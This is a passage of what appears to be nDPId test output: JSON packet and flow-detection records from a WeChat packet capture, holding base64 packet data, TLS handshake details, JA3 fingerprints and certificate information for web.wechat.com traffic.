ZWIud2VjaGF0LmNvbYIUbG9naW5wb2xsLndlY2hhdC5jb22CD3dlYjIud2VjaGF0LmNvbYIQbG9naW4ud2VjaGF0LmNvbYIVbG9naW4ud2ViMi53ZWNoYXQuY29tgg5yZXMud2VjaGF0LmNvbYIOd2ViLndlY2hhdC5jb20wCQYDVR0TBAIwADAOBgNVHQ8BAf8EBAMCBaAwKwYDVR0fBCQwIjAgoB6gHIYaaHR0cDovL2duLnN5bWNiLmNvbS9nbi5jcmwwgZ0GA1UdIASBlTCBkjCBjwYGZ4EMAQICMIGEMD8GCCsGAQUFBwIBFjNodHRwczovL3d3dy5nZW90cnVzdC5jb20vcmVzb3VyY2VzL3JlcG9zaXRvcnkvbGVnYWwwQQYIKwYBBQUHAgIwNQwzaHR0cHM6Ly93d3cuZ2VvdHJ1c3QuY29tL3Jlc291cmNlcy9yZXBvc2l0b3J5L2xlZ2FsMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAfBgNVHSMEGDAWgBTSb\/eW9IU\/cjwwfSPahXibo3xafDBXBggrBgEFBQcBAQRLMEkwHwYIKwYBBQUHMAGGE2h0dHA6Ly9nbi5zeW1jZC5jb20wJgYIKwYBBQUHMAKGGmh0dHA6Ly9nbi5zeW1jYi5jb20vZ24uY3J0MA0GCSqGSIb3DQEBCwUAA4IBAQAZA+6JF4lvu2XJwUfeUSiNqeNdtX0tN26N"} +00780{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1057,"source":"wechat.pcap","alias":"nDPId-test","flow_id":53,"flow_packet_id":6,"flow_first_seen":1492167695237,"flow_last_seen":1492167695891,"flow_tot_l4_data_len":1874,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1460,"flow_avg_l4_data_len":312,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54117,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.WeChat","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"web.wechat.com","ja3":"e330bca99c8a5256ae126a55c4c725c5","ja3s":"699a80bdb17efe157c861f92c5bf5d1d","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1"}} +00425{"flow_id":53,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1058,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167695,"pkt_ts_usec":891176,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0M99AAEAG4WXAqAFny82XotNlAbtEgzzqoCSe+4AQAPt5DQAAAQEICgAyCMpF0vK4"} +02348{"flow_id":53,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1059,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167695,"pkt_ts_usec":891511,"pkt_caplen":1494,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1494,"pkt_l4_len":1460,"pkt":"eJKcD6iO8IQvSpdgCABFoAXIa+FAACwGty\/LzZeiwKgBZwG702WgJJ77RIM86oAQAHgdSAAAAQEICkXS8rgAMgh4i6AhOArffz9dJXvub9aMTE9m7GKRKeFA\/Frtrp0XYhX6JqYW8b5etQL4tC009s8jG\/TuF8dFm+8Qnv4WGTbK3wvSPN1JnNDQWe+joFVsTCgLSjZxmTivYWk1MKykcC3vkTLWMDBQxUwZd+bVuFy+Hg8Wo2jQzS71Re20zkF2fEkUE+GnA3Ez8ZEoMIVFfuZJTLyMwnZDYqRXtmKQLIXy6PQpFijtmZoXa3RaUholNnff2hQGO8247PV9f6R3KrjtNTdvAtNV8PNXxSymO5xp1cn7ghlbtsUCsdT2arvzaytmF1NYKThZAARTMIIETzCCAzegAwIBAgIDAjpvMA0GCSqGSIb3DQEBCwUAMEIxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1HZW9UcnVzdCBJbmMuMRswGQYDVQQDExJHZW9UcnVzdCBHbG9iYWwgQ0EwHhcNMTMxMTA1MjEzNjUwWhcNMjIwNTIwMjEzNjUwWjBEMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNR2VvVHJ1c3QgSW5jLjEdMBsGA1UEAxMUR2VvVHJ1c3QgU1NMIENBIC0gRzMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDjvn4KhqPPa209K6GXrUkkTdd3uTR5CKWeop7eRxKSPX7qGYax6E89X\/fQp3eaWx8KA7UZU9ulIZRpY51qTJEMEEe+EfpshiW3qwRoQjgJZfAU2hme+msLq2LvjafvY3AjqK+B89FuiGdT7BKkKXWKp\/JXPaKDmJfyCn3U50NuMHhiIllZuHEnRaoPZsZVP\/oyFysxj0ag+mkUfJ2fWuLrM04QprPtd2PYw5703d95mnrU7t7dmszDt6ldzBE6B7tvl6QBI0eVH6N3+liSxsfQvc+TGEK3fveeZerVO8rtrMVwof7UEJrwEgRErBpbeFBFV0xvvYDLgVwts7x2oR5lAgMBAAGjggFKMIIBRjAfBgNVHSMEGDAWgBTAephojYn7qwVkDBF9qn1luMrMTjAdBgNVHQ4EFgQU0m\/3lvSFP3I8MH0j2oV4m6N8WnwwEgYDVR0TAQH\/BAgwBgEB\/wIBADAOBgNVHQ8BAf8EBAMCAQYwNgYDVR0fBC8wLTAroCmgJ4YlaHR0cDovL2cxLnN5bWNiLmNvbS9jcmxzL2d0Z2xvYmFsLmNybDAvBggrBgEFBQcBAQQjMCEwHwYIKwYBBQUHMAGGE2h0dHA6Ly9nMi5zeW1jYi5jb20wTAYDVR0gBEUwQzBBBgpghkgBhvhFAQc2MDMwMQYIKwYBBQUHAgEWJWh0dHA6Ly93d3cuZ2VvdHJ1c3QuY29tL3Jlc291cmNlcy9jcHMwKQYDVR0RBCIwIKQeMBwxGjAYBgNVBAMTEVN5bWFudGVjUEtJLTEtNTM5MA0GCSqGSIb3DQEBCwUAA4IBAQCg1Pcs+3QLf2TxzUNqn2JTHAJ8mJCi7k9o1CAacxI+d7NQ63K87oi+fxfqd4+DYZVPhKHLMk9sIb7SaZZ9Y73cK6gf0BOEcP72NZWJ+aZ3sEbIu7cT9clgadZM\/tKO79NgwYCA4ef7i28heUrg3Kkbwbf7w0lZXLV3B0TUl\/xJAIlvBk4BcBmsLxHA4uYPL4ZLjXvDuacu9PGsFj45SVGeF0tPEDpbpaiSb\/361gsDTUdWVxnzy2v189bPsPX1oxHSIFMTNDcFLENaY9+NQNaFHlHpURceA1bJ8TCt55sRornQMYGbaLHZ6PPmlH7HrhMvh+3QJbBo+d4IWvMpzNSSFgMDAU0MAAFJAwAXQQTMALnjv1CI6dBqvm930IlFUe3V\/C8wCW3NB6ws6lDWgHVgrshZhXCAMYPCMyJtdsp2YHi0bz5SBcOeD1cncQgGBgEBAENJNkXx"} +01313{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1059,"source":"wechat.pcap","alias":"nDPId-test","flow_id":53,"flow_packet_id":8,"flow_first_seen":1492167695237,"flow_last_seen":1492167695891,"flow_tot_l4_data_len":3366,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1460,"flow_avg_l4_data_len":420,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54117,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.WeChat","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"web.wechat.com","server_names":"webpush1.wechat.com,webpush.wechat.com,login.web.wechat.com,webpush.web.wechat.com,webpush2.wechat.com,webpush.web2.wechat.com,file.web2.wechat.com,web1.wechat.com,file.web.wechat.com,loginpoll.wechat.com,web2.wechat.com,login.wechat.com,login.web2.wechat.com,res.wechat.com,web.wechat.com","ja3":"e330bca99c8a5256ae126a55c4c725c5","ja3s":"699a80bdb17efe157c861f92c5bf5d1d","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=GeoTrust Inc., CN=GeoTrust SSL CA - G3","issuerDN":"C=HK, ST=HongKong, L=Wan Chai, O=Tencent Mobility Limited, CN=web.wechat.com","alpn":"h2,http\/1.1","fingerprint":"4F:3B:6A:87:0C:D2:34:09:C9:53:9F:6F:EE:7D:7B:9B:E9:D6:EF:C1"}} +00425{"flow_id":53,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1060,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167695,"pkt_ts_usec":891546,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0M+BAAEAG4WTAqAFny82XotNlAbtEgzzqoCSkj4AQARFzYwAAAQEICgAyCMpF0vK4"} +00780{"flow_id":53,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1061,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167695,"pkt_ts_usec":895453,"pkt_caplen":326,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":326,"pkt_l4_len":292,"pkt":"eJKcD6iO8IQvSpdgCABFoAE4a+JAACwGu77LzZeiwKgBZwG702WgJKSPRIM86oAYAHhcPQAAAQEICkXS8rgAMgh4feQ6Vcn0UE6BcmemkY6Ordo0430PoDtYVX9m6GwDXwkGzaCOO2Gzbe4AwIrm62nAnuTE0S0voJRb7aKqAgjP3p20svZQfNzYyqAci9GDPKgj6zdQkU51O8\/dfE410rNl7B2DD6nwoBi9mJo0U2mlSGP4kHtBEoFl3dnNfLcipodIHbabyhDLbGkhT6vE3WjRsC38RgUnNMeSNBOR5BO6f5ONA9GXgx3RvvLzkVjT+V6c5IkzPwEFJtFgrffgtkUHmH7X2clDFKlVH0201b\/mjk2ldCjJRZ4mmIdDtsDPLQTJf\/aTjZzq7n3WznPbQKGOe0TnPxbVHWxTFJwWAwMABA4AAAA="} +00426{"flow_id":53,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1062,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167695,"pkt_ts_usec":895490,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0M+FAAEAG4WPAqAFny82XotNlAbtEgzzqoCSlk4AQAShyRwAAAQEICgAyCMtF0vK4"} +00597{"flow_id":53,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1063,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167695,"pkt_ts_usec":898151,"pkt_caplen":192,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":192,"pkt_l4_len":158,"pkt":"8IQvSpdgeJKcD6iOCABFAACyM+JAAEAG4OTAqAFny82XotNlAbtEgzzqoCSlk4AYASjrZwAAAQEICgAyCMxF0vK4FgMDAEYQAABCQQSgcQkhpYBqxsWEPHktP0k8izPTqUSj9ROt3P17Sb4OurP3igt7AufsSwowITXBD8by7tEbKHMCkKg7GYIewnsOFAMDAAEBFgMDACgAAAAAAAAAANVXHcZh1PNP4Ws7cUlEUzBicQuIF4rr96Z6Ktw582DW"} +00496{"flow_id":53,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1064,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167696,"pkt_ts_usec":221356,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"eJKcD6iO8IQvSpdgCABFoABna+NAACwGvI7LzZeiwKgBZwG702WgJKWTRIM9aIAYAHj3SwAAAQEICkXS8wsAMgjMFAMDAAEBFgMDAChJm4P16SeP6FgI3Hv4durktyyM51LBC+292O9xkavh1ZNN3Ku3a02s"} +02019{"flow_id":53,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1065,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167696,"pkt_ts_usec":222771,"pkt_caplen":1234,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1234,"pkt_l4_len":1200,"pkt":"8IQvSpdgeJKcD6iOCABFAATEM+NAAEAG3NHAqAFny82XotNlAbtEgz1ooCSlxoAYASjgUgAAAQEICgAyCR1F0vMLFwMDBIsAAAAAAAAAAd4YiuA6crhZEh9MHzL226\/uM4VKhthOyB3b35BkJStiV0vrwfgwOH2DF8uDE1W3vjnO8+sv+13JDkzXGfCsoRqE4+7jbAcSkl7soie42gPgtn1HRNFpueSKfCc0QLgo2CXeITV3LyUyp7YNiZhviF3UM1z66gWzS9KvElQ409EAxHiVua\/KZA8zrPUKpcLPvo\/EsSAzOaaKuIoNhGnPDNKZ1aoyOZ7Py5RP6e1kEIVU0zGW\/rKsKRPJEESL5737sZYfUqLJEsSQdm\/c1xkLZCVRgTnug43R64U3cpo4qlCz8Qyr+G4d1aP8fe\/CZGgIFm+9LqCLd1fauc3UJbHMRFcXgOk3zjEv9AVAn3rg1MntS+wy80PA\/vD6Z8r0ky3MElH1nVYUMPoHHKkAyNKcGDCXNQUW8jn6faYa0p1Br1krM+aaL4rSJ7W5RVOKFhS4XYwjaTVuzMf1jPujRDwEx9hIyqSiyxzpoEEEapvP2IPqnKqmEvIsbhsYI929bP\/mbFc81dkMJ\/EsH2+mZUb116COm0V0znIYPYr9bJ3ML4pIUurDs3FNGBw2u7L5jYxhrcqLQAATjWHNFJPY5IdOsDdCdVebEb6GB3BmBK7zp\/uqEeNv3Xx+ku9Qb\/WpyVsYAhMv4CDiJlZ02tptP+3E8CVZPOpkWrmh7LN\/bTL5RegkGt5XHQVzOstwCwgGFN0PAr4iFYb\/7GiXspbD8zQ6erLVU\/DchF7QnDZga1WCEMU28zn1HoyFeQxfBNJQ9GcJk\/oc\/q3sDo7Ho1mRFOXqZRzASPJF3RVYSn7cLEp1Hg9VdgJbBPIeU7G6CWa2xUTEV8oDnyUuUskL37nb4jcHUS9J2W5ncKhGLJ34BTeH3KXJ1Ne19trufVL+XBQAWwvTEktEF\/OUV33b1rv1FrGttH8YUZerR7TkvDHTnwWzxKvi6s\/UgXuPYWA4ghhsRwPay+WVssmWglpa4mC7dkldqdVuWXw7F0WE2wRyNdVdZhTfTBMOW6CjeBIGI1k1NQYRZKYUzrsFFBjqAAC7js4clBsz0qOociEExNQ8OlcNObgoX59bCsasMSowWoBXTPtZi7n6WOyF6tNF9wWLJe3nB9UJX6KsLttq7TgUSkxcOGEEnoNzHb3I1Uhzdwnjtpg1aTCbiREcfY\/Ry36qVYIC8seoVwUlflPH5IKmhutuqaFj85\/GRruZFZ+4WjX1gNi+HPrspys757qyol4e5GRM5kNZ8rF4pppGxtlKYwx\/CB1TgNDStDPKBj6iBhXZJD42vO4e\/h\/QUIFFo2RFRQZfv67ix4fJMWhQdQNCXSolQNWx47IAWiYKyOSHUwNTgQIUaDFkmVGXOElFE9xQmcvqTGqMmUKs\/Ht4C3WEQ14MTv\/c48C1v8BOtf9bTBeDHJSP9ir\/Cfo6MVjQTgKtFhs\/ajHutVnNaFC4NOphiE6Wr3n08LWew9+HFiohXV+BTqJIPlwFmKGSR+BwAG5MeX+Tr3MLR1rGGcsyTBVoiPlLhqRyQ+YLNF4lntqH3g9Lp6sD7FnNrg=="} +01074{"flow_id":53,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1066,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167696,"pkt_ts_usec":225954,"pkt_caplen":538,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":538,"pkt_l4_len":504,"pkt":"8IQvSpdgeJKcD6iOCABFAAIMM+RAAEAG34jAqAFny82XotNlAbtEg0H4oCSlxoAYASibSwAAAQEICgAyCR5F0vMLFwMDAdMAAAAAAAAAArkrV1zvitrGB2a5vw5h\/Hh+6TUs5RVQeU\/lAG7a2Wg7ivQTK0IHIg+J6PYWMbVhDsZ4xTGj\/eMsgHf2kpk8kkpsjG7D4G1UeznkANmSdGAdnEYUkS4kabsCiM6Rn9TtFDcDgDINT8agOdLN3ZNaNxk2kiZehiZGeMt8r1wA4NBhc2FOoJcrQM4VcBxTZxFhll6\/ualLRPFfSeBGhMhEc6pmUxBbmEv2sn61jIeVfE0B7siQCPnobB\/a1N0tPZWhc1NXjzzbhndL704pAA0k+NgIIxtLv592YQvcQC5IxR5Tih7LDulgYfvOWRL\/HGiIB+etm+NQxFEPpMfNzFtcv8u2Y\/HX5rI6lyYIo6WYp5W9z8+FPDsD8T5b\/H8LL0Zgi5FTWHleM9BWDJDawaQisaJXZMGXE\/UYkIXBi6G\/v22J5OAxIhLJoDId9i8YF8osxyGK6SHyWVjwYrwwv95uvJcVT\/1kIbYms8nJp7FrD0aegg3\/QXFhqiAnypstQgF0FY6FWA1sDuWA+4xFEinfVchp\/3GZU8myHYOrRNz8yB9md2NWiBHJfya94KGyzU6OrexCFmcpBEuH4pug3YCbLQA6kEXQ9xzfbCm7Lw=="} +00751{"flow_id":54,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1070,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167696,"pkt_ts_usec":636507,"pkt_caplen":304,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":304,"pkt_l4_len":270,"pkt":"8IQvSpdgeJKcD6iOCABFAAEixuZAAEAGTXDAqAFny82XotNmAbsIrs6Dmix84YAYAOUVZQAAAQEICgAyCYVF0vKlFgMBAOkBAADlAwMlUfNTDYjhvRdeF23CS9txxbOTIA6V\/rqxhzXUPkoC0SBB4xlOjKoTkDpNNo30AWaSGj1BD\/4+Gt6DSefvkE2ybgAgKirMqcyozBTME8ArwC\/ALMAwwBPAFACcAJ0ALwA1AAoBAAB8+voAAP8BAAEAAAAAEwARAAAOd2ViLndlY2hhdC5jb20AFwAAACMAAAANABQAEgQDCAQEAQUDCAUFAQgGBgECAQAFAAUBAAAAAAASAAAAEAAOAAwCaDIIaHR0cC8xLjF1UAAAAAsAAgEAAAoACgAIWloAHQAXABhaWgABAA=="} +00723{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1070,"source":"wechat.pcap","alias":"nDPId-test","flow_id":54,"flow_packet_id":4,"flow_first_seen":1492167695488,"flow_last_seen":1492167696636,"flow_tot_l4_data_len":382,"flow_min_l4_data_len":32,"flow_max_l4_data_len":270,"flow_avg_l4_data_len":95,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54118,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.WeChat","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"web.wechat.com","ja3":"e330bca99c8a5256ae126a55c4c725c5","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00423{"flow_id":54,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1075,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167697,"pkt_ts_usec":2676,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"eJKcD6iO8IQvSpdgCABFoAA0jyRAAC0GmIDLzZeiwKgBZwG702aaLHzhCK7PcYAQAHhJJwAAAQEICkXS88UAMgmF"} +02343{"flow_id":54,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1077,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167697,"pkt_ts_usec":5590,"pkt_caplen":1494,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1494,"pkt_l4_len":1460,"pkt":"eJKcD6iO8IQvSpdgCABFoAXIjyVAAC0GkuvLzZeiwKgBZwG702aaLHzhCK7PcYAQAHi76gAAAQEICkXS88UAMgmFFgMDAF0CAABZAwPwWVmlXoWMDzfeHC3LUIazLTAckz4lU+GUmYVSYaKh6iAVSEeMY2IvjCMgDjKK8SiyT+W1aOjnLn\/Q4fRxYvFJEsAvAAARAAAAAP8BAAEAAAsABAMAAQIWAwMKagsACmYACmMABgowggYGMIIE7qADAgECAhAw0VtVOfZrLt7UNL9vJ0R7MA0GCSqGSIb3DQEBCwUAMEQxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1HZW9UcnVzdCBJbmMuMR0wGwYDVQQDExRHZW9UcnVzdCBTU0wgQ0EgLSBHMzAeFw0xNTA5MjEwMDAwMDBaFw0xODA5MjAyMzU5NTlaMG8xCzAJBgNVBAYTAkhLMREwDwYDVQQIEwhIb25nS29uZzERMA8GA1UEBxQIV2FuIENoYWkxITAfBgNVBAoUGFRlbmNlbnQgTW9iaWxpdHkgTGltaXRlZDEXMBUGA1UEAxQOd2ViLndlY2hhdC5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDOKLCU12ARBCRlKli7V796N1s9bfDDDp36hVnOckXCCtd1EICzDOMCShPpSy6mvuoSPYBr2kWWo99zbB1a21uYKdVpQmanSw53I2i\/nT9Ba10GRLm5DHrUpDUEij+mkz50Z2gx4CFdsKkRaGEZPO+as9uZ5K0vR1Ij1SUq7qYvK\/o8FWohsRDN8NCmoaUDyOkjivmoxwF9B\/OolimvW\/aejHHbaF7KhHMDTMj3pM9w5Z2Pb22IeJh85lDZOl6rH+yOl8HX0\/8DT5oJOmZoGq0Ovth7OnIKiNK8RoWM02mbl0XitpMl\/rj\/RLaSgD7DwrZYmXrRrFMnwlkx7CD4EfJfAgMBAAGjggLHMIICwzCCAT4GA1UdEQSCATUwggExghN3ZWJwdXNoMS53ZWNoYXQuY29tghJ3ZWJwdXNoLndlY2hhdC5jb22CFGxvZ2luLndlYi53ZWNoYXQuY29tghZ3ZWJwdXNoLndlYi53ZWNoYXQuY29tghN3ZWJwdXNoMi53ZWNoYXQuY29tghd3ZWJwdXNoLndlYjIud2VjaGF0LmNvbYIUZmlsZS53ZWIyLndlY2hhdC5jb22CD3dlYjEud2VjaGF0LmNvbYITZmlsZS53ZWIud2VjaGF0LmNvbYIUbG9naW5wb2xsLndlY2hhdC5jb22CD3dlYjIud2VjaGF0LmNvbYIQbG9naW4ud2VjaGF0LmNvbYIVbG9naW4ud2ViMi53ZWNoYXQuY29tgg5yZXMud2VjaGF0LmNvbYIOd2ViLndlY2hhdC5jb20wCQYDVR0TBAIwADAOBgNVHQ8BAf8EBAMCBaAwKwYDVR0fBCQwIjAgoB6gHIYaaHR0cDovL2duLnN5bWNiLmNvbS9nbi5jcmwwgZ0GA1UdIASBlTCBkjCBjwYGZ4EMAQICMIGEMD8GCCsGAQUFBwIBFjNodHRwczovL3d3dy5nZW90cnVzdC5jb20vcmVzb3VyY2VzL3JlcG9zaXRvcnkvbGVnYWwwQQYIKwYBBQUHAgIwNQwzaHR0cHM6Ly93d3cuZ2VvdHJ1c3QuY29tL3Jlc291cmNlcy9yZXBvc2l0b3J5L2xlZ2FsMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAfBgNVHSMEGDAWgBTSb\/eW9IU\/cjwwfSPahXibo3xafDBXBggrBgEFBQcBAQRLMEkwHwYIKwYBBQUHMAGGE2h0dHA6Ly9nbi5zeW1jZC5jb20wJgYIKwYBBQUHMAKGGmh0dHA6Ly9nbi5zeW1jYi5jb20vZ24uY3J0MA0GCSqGSIb3DQEBCwUAA4IBAQAZA+6JF4lvu2XJwUfeUSiNqeNdtX0tN26N"} +00780{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1077,"source":"wechat.pcap","alias":"nDPId-test","flow_id":54,"flow_packet_id":6,"flow_first_seen":1492167695488,"flow_last_seen":1492167697005,"flow_tot_l4_data_len":1874,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1460,"flow_avg_l4_data_len":312,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54118,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.WeChat","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"web.wechat.com","ja3":"e330bca99c8a5256ae126a55c4c725c5","ja3s":"699a80bdb17efe157c861f92c5bf5d1d","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1"}} +00423{"flow_id":54,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1078,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167697,"pkt_ts_usec":5638,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0xudAAEAGTl3AqAFny82XotNmAbsIrs9xmiyCdYAQAPtCtAAAAQEICgAyCeFF0vPF"} +02346{"flow_id":54,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1079,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167697,"pkt_ts_usec":6161,"pkt_caplen":1494,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1494,"pkt_l4_len":1460,"pkt":"eJKcD6iO8IQvSpdgCABFoAXIjyZAAC0GkurLzZeiwKgBZwG702aaLIJ1CK7PcYAQAHiMGwAAAQEICkXS88UAMgmFi6AhOArffz9dJXvub9aMTE9m7GKRKeFA\/Frtrp0XYhX6JqYW8b5etQL4tC009s8jG\/TuF8dFm+8Qnv4WGTbK3wvSPN1JnNDQWe+joFVsTCgLSjZxmTivYWk1MKykcC3vkTLWMDBQxUwZd+bVuFy+Hg8Wo2jQzS71Re20zkF2fEkUE+GnA3Ez8ZEoMIVFfuZJTLyMwnZDYqRXtmKQLIXy6PQpFijtmZoXa3RaUholNnff2hQGO8247PV9f6R3KrjtNTdvAtNV8PNXxSymO5xp1cn7ghlbtsUCsdT2arvzaytmF1NYKThZAARTMIIETzCCAzegAwIBAgIDAjpvMA0GCSqGSIb3DQEBCwUAMEIxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1HZW9UcnVzdCBJbmMuMRswGQYDVQQDExJHZW9UcnVzdCBHbG9iYWwgQ0EwHhcNMTMxMTA1MjEzNjUwWhcNMjIwNTIwMjEzNjUwWjBEMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNR2VvVHJ1c3QgSW5jLjEdMBsGA1UEAxMUR2VvVHJ1c3QgU1NMIENBIC0gRzMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDjvn4KhqPPa209K6GXrUkkTdd3uTR5CKWeop7eRxKSPX7qGYax6E89X\/fQp3eaWx8KA7UZU9ulIZRpY51qTJEMEEe+EfpshiW3qwRoQjgJZfAU2hme+msLq2LvjafvY3AjqK+B89FuiGdT7BKkKXWKp\/JXPaKDmJfyCn3U50NuMHhiIllZuHEnRaoPZsZVP\/oyFysxj0ag+mkUfJ2fWuLrM04QprPtd2PYw5703d95mnrU7t7dmszDt6ldzBE6B7tvl6QBI0eVH6N3+liSxsfQvc+TGEK3fveeZerVO8rtrMVwof7UEJrwEgRErBpbeFBFV0xvvYDLgVwts7x2oR5lAgMBAAGjggFKMIIBRjAfBgNVHSMEGDAWgBTAephojYn7qwVkDBF9qn1luMrMTjAdBgNVHQ4EFgQU0m\/3lvSFP3I8MH0j2oV4m6N8WnwwEgYDVR0TAQH\/BAgwBgEB\/wIBADAOBgNVHQ8BAf8EBAMCAQYwNgYDVR0fBC8wLTAroCmgJ4YlaHR0cDovL2cxLnN5bWNiLmNvbS9jcmxzL2d0Z2xvYmFsLmNybDAvBggrBgEFBQcBAQQjMCEwHwYIKwYBBQUHMAGGE2h0dHA6Ly9nMi5zeW1jYi5jb20wTAYDVR0gBEUwQzBBBgpghkgBhvhFAQc2MDMwMQYIKwYBBQUHAgEWJWh0dHA6Ly93d3cuZ2VvdHJ1c3QuY29tL3Jlc291cmNlcy9jcHMwKQYDVR0RBCIwIKQeMBwxGjAYBgNVBAMTEVN5bWFudGVjUEtJLTEtNTM5MA0GCSqGSIb3DQEBCwUAA4IBAQCg1Pcs+3QLf2TxzUNqn2JTHAJ8mJCi7k9o1CAacxI+d7NQ63K87oi+fxfqd4+DYZVPhKHLMk9sIb7SaZZ9Y73cK6gf0BOEcP72NZWJ+aZ3sEbIu7cT9clgadZM\/tKO79NgwYCA4ef7i28heUrg3Kkbwbf7w0lZXLV3B0TUl\